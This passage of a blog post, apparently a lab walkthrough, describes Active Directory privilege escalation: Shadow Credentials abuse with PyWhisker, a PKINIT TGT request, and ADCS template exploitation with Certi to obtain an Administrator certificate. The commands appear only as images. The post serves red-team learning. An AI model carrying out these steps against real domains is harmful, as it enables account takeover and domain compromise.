href="https://substackcdn.com/image/fetch/$s_!9Ylu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c626e75-9bb3-4b8b-9374-9b46b9e24048_1080x500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9Ylu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c626e75-9bb3-4b8b-9374-9b46b9e24048_1080x500.png 424w, https://substackcdn.com/image/fetch/$s_!9Ylu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c626e75-9bb3-4b8b-9374-9b46b9e24048_1080x500.png 848w, https://substackcdn.com/image/fetch/$s_!9Ylu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c626e75-9bb3-4b8b-9374-9b46b9e24048_1080x500.png 1272w, https://substackcdn.com/image/fetch/$s_!9Ylu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c626e75-9bb3-4b8b-9374-9b46b9e24048_1080x500.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9Ylu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c626e75-9bb3-4b8b-9374-9b46b9e24048_1080x500.png" width="1080" height="500" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1c626e75-9bb3-4b8b-9374-9b46b9e24048_1080x500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:500,&quot;width&quot;:1080,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!9Ylu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c626e75-9bb3-4b8b-9374-9b46b9e24048_1080x500.png 424w, https://substackcdn.com/image/fetch/$s_!9Ylu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c626e75-9bb3-4b8b-9374-9b46b9e24048_1080x500.png 848w, https://substackcdn.com/image/fetch/$s_!9Ylu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c626e75-9bb3-4b8b-9374-9b46b9e24048_1080x500.png 1272w, https://substackcdn.com/image/fetch/$s_!9Ylu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c626e75-9bb3-4b8b-9374-9b46b9e24048_1080x500.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Abusing Shadow Credentials</h2><p>With GenericAll permissions over Ori&#8217;s AD account, previous methods of exploitation may have included resetting the account&#8217;s password or setting a SPN and kerberoasting the account. These methods are either disruptive or do not guarantee account takeover. However, following Elad&#8217;s research, we can use GenericAll/WriteOwner/WriteDACL permissions over the user object to set the msDS-KeyCredentialLink attribute. This attribute holds data including a public key, which allow the account to perform Kerberos pre-authentication using a public-private key pair. By setting this attribute with a key pair we control, we can request a TGT (using PKINIT!) for the target account, guaranteeing account compromise without disrupting its use. Boiled down to one sentence, PKINIT is the asymmetric key method of Kerberos pre-authentication (with the symmetric method being reliant on the client&#8217;s password). PKINIT is not possible out of the box in every Windows network &#8211; I recommend reading Elad&#8217;s research for full details and requirements related to the attack.</p><p><a href="https://web.archive.org/web/20210910135352/https://github.com/ShutdownRepo/pywhisker">PyWhisker</a> will be used to perform the Shadow Credential attack from Kali through the SOCKS proxy &#8211; which we need to setup.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!P-Al!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fb21962-4ae6-44b5-9e7f-65a699743267_390x84.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!P-Al!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fb21962-4ae6-44b5-9e7f-65a699743267_390x84.png 424w, https://substackcdn.com/image/fetch/$s_!P-Al!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fb21962-4ae6-44b5-9e7f-65a699743267_390x84.png 848w, https://substackcdn.com/image/fetch/$s_!P-Al!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fb21962-4ae6-44b5-9e7f-65a699743267_390x84.png 1272w, https://substackcdn.com/image/fetch/$s_!P-Al!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fb21962-4ae6-44b5-9e7f-65a699743267_390x84.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!P-Al!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fb21962-4ae6-44b5-9e7f-65a699743267_390x84.png" width="390" height="84" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0fb21962-4ae6-44b5-9e7f-65a699743267_390x84.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:84,&quot;width&quot;:390,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!P-Al!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fb21962-4ae6-44b5-9e7f-65a699743267_390x84.png 424w, https://substackcdn.com/image/fetch/$s_!P-Al!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fb21962-4ae6-44b5-9e7f-65a699743267_390x84.png 848w, https://substackcdn.com/image/fetch/$s_!P-Al!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fb21962-4ae6-44b5-9e7f-65a699743267_390x84.png 1272w, https://substackcdn.com/image/fetch/$s_!P-Al!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fb21962-4ae6-44b5-9e7f-65a699743267_390x84.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>After ensuring proxychains configurations are set, I will start off by setting the KRB5CCNAME environment variable to the location of the previously stolen TGT for REDANIA\philippa. In the subsequent command, Kerberos authentication is used with PyWhisker&#8217;s add action to authenticate to a domain controller (Oxenfurt) and add a KeyCredential to Ori&#8217;s user object:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!6s95!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3f9e2fd-22c3-48ed-b208-444601210dca_812x284.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!6s95!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3f9e2fd-22c3-48ed-b208-444601210dca_812x284.png 424w, https://substackcdn.com/image/fetch/$s_!6s95!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3f9e2fd-22c3-48ed-b208-444601210dca_812x284.png 848w, https://substackcdn.com/image/fetch/$s_!6s95!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3f9e2fd-22c3-48ed-b208-444601210dca_812x284.png 1272w, https://substackcdn.com/image/fetch/$s_!6s95!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3f9e2fd-22c3-48ed-b208-444601210dca_812x284.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!6s95!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3f9e2fd-22c3-48ed-b208-444601210dca_812x284.png" width="812" height="284" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d3f9e2fd-22c3-48ed-b208-444601210dca_812x284.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:284,&quot;width&quot;:812,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!6s95!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3f9e2fd-22c3-48ed-b208-444601210dca_812x284.png 424w, https://substackcdn.com/image/fetch/$s_!6s95!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3f9e2fd-22c3-48ed-b208-444601210dca_812x284.png 848w, https://substackcdn.com/image/fetch/$s_!6s95!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3f9e2fd-22c3-48ed-b208-444601210dca_812x284.png 1272w, https://substackcdn.com/image/fetch/$s_!6s95!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3f9e2fd-22c3-48ed-b208-444601210dca_812x284.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In the output, we can see the DeviceID corresponding to the new KeyCredential and the new PFX certificate file (and password for the PFX file). We can verify that the KeyCredential has been set by using PyWhisker&#8217;s <em>list </em>action:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!6ZHV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60280e04-19bd-4e9a-bf54-c0160916383c_818x190.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!6ZHV!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60280e04-19bd-4e9a-bf54-c0160916383c_818x190.png 424w, https://substackcdn.com/image/fetch/$s_!6ZHV!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60280e04-19bd-4e9a-bf54-c0160916383c_818x190.png 848w, https://substackcdn.com/image/fetch/$s_!6ZHV!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60280e04-19bd-4e9a-bf54-c0160916383c_818x190.png 1272w, https://substackcdn.com/image/fetch/$s_!6ZHV!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60280e04-19bd-4e9a-bf54-c0160916383c_818x190.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!6ZHV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60280e04-19bd-4e9a-bf54-c0160916383c_818x190.png" width="818" height="190" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/60280e04-19bd-4e9a-bf54-c0160916383c_818x190.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:190,&quot;width&quot;:818,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!6ZHV!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60280e04-19bd-4e9a-bf54-c0160916383c_818x190.png 424w, https://substackcdn.com/image/fetch/$s_!6ZHV!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60280e04-19bd-4e9a-bf54-c0160916383c_818x190.png 848w, https://substackcdn.com/image/fetch/$s_!6ZHV!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60280e04-19bd-4e9a-bf54-c0160916383c_818x190.png 1272w, https://substackcdn.com/image/fetch/$s_!6ZHV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60280e04-19bd-4e9a-bf54-c0160916383c_818x190.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>After the Shadow Credentials have been set, we can use the <a href="https://web.archive.org/web/20210910135352/https://github.com/dirkjanm/PKINITtools">PKINITtools</a> suite to request a TGT as REDANIA\Ori. The gettgtpkinit.py script used with references to the PFX file and password generated with PyWhisker will result in a valid TGT for Ori:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!IkJO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cc8cc3d-0593-4c1b-866f-1065fffa921b_816x250.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!IkJO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cc8cc3d-0593-4c1b-866f-1065fffa921b_816x250.png 424w, https://substackcdn.com/image/fetch/$s_!IkJO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cc8cc3d-0593-4c1b-866f-1065fffa921b_816x250.png 848w, https://substackcdn.com/image/fetch/$s_!IkJO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cc8cc3d-0593-4c1b-866f-1065fffa921b_816x250.png 1272w, https://substackcdn.com/image/fetch/$s_!IkJO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cc8cc3d-0593-4c1b-866f-1065fffa921b_816x250.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!IkJO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cc8cc3d-0593-4c1b-866f-1065fffa921b_816x250.png" width="816" height="250" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3cc8cc3d-0593-4c1b-866f-1065fffa921b_816x250.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:250,&quot;width&quot;:816,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!IkJO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cc8cc3d-0593-4c1b-866f-1065fffa921b_816x250.png 424w, https://substackcdn.com/image/fetch/$s_!IkJO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cc8cc3d-0593-4c1b-866f-1065fffa921b_816x250.png 848w, https://substackcdn.com/image/fetch/$s_!IkJO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cc8cc3d-0593-4c1b-866f-1065fffa921b_816x250.png 1272w, https://substackcdn.com/image/fetch/$s_!IkJO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3cc8cc3d-0593-4c1b-866f-1065fffa921b_816x250.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Exploiting the Certificate Template Configuration</h2><p>Returning to our main objective, ADCS, we have now compromised an account belonging to the Tier 1 Admins group, which can enroll in the certificate identified earlier. <a href="https://web.archive.org/web/20210910135352/https://github.com/eloypgz/certi">Certi</a> will be used to perform ADCS exploitation through the SOCKS proxy. Again, start by exporting the latest Kerberos TGT we obtained. The certi.py arguments are specifying my lab&#8217;s CA server (Tretogor, which doubles as a CA and DC), Kerberos authentication, the SAN (we want a certificate for REDANIA\Administrator) and the vulnerable template to enroll in:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7nO_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6fb03985-599a-4d8a-bfca-1dd2ee126590_816x396.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7nO_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6fb03985-599a-4d8a-bfca-1dd2ee126590_816x396.png 424w, https://substackcdn.com/image/fetch/$s_!7nO_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6fb03985-599a-4d8a-bfca-1dd2ee126590_816x396.png 848w, https://substackcdn.com/image/fetch/$s_!7nO_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6fb03985-599a-4d8a-bfca-1dd2ee126590_816x396.png 1272w, https://substackcdn.com/image/fetch/$s_!7nO_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6fb03985-599a-4d8a-bfca-1dd2ee126590_816x396.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7nO_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6fb03985-599a-4d8a-bfca-1dd2ee126590_816x396.png" width="816" height="396" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6fb03985-599a-4d8a-bfca-1dd2ee126590_816x396.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:396,&quot;width&quot;:816,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!7nO_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6fb03985-599a-4d8a-bfca-1dd2ee126590_816x396.png 424w, https://substackcdn.com/image/fetch/$s_!7nO_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6fb03985-599a-4d8a-bfca-1dd2ee126590_816x396.png 848w, https://substackcdn.com/image/fetch/$s_!7nO_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6fb03985-599a-4d8a-bfca-1dd2ee126590_816x396.png 1272w, https://substackcdn.com/image/fetch/$s_!7nO_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6fb03985-599a-4d8a-bfca-1dd2ee126590_816x396.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In the output we can see the certificate was successfully issued and saved in a file. (This 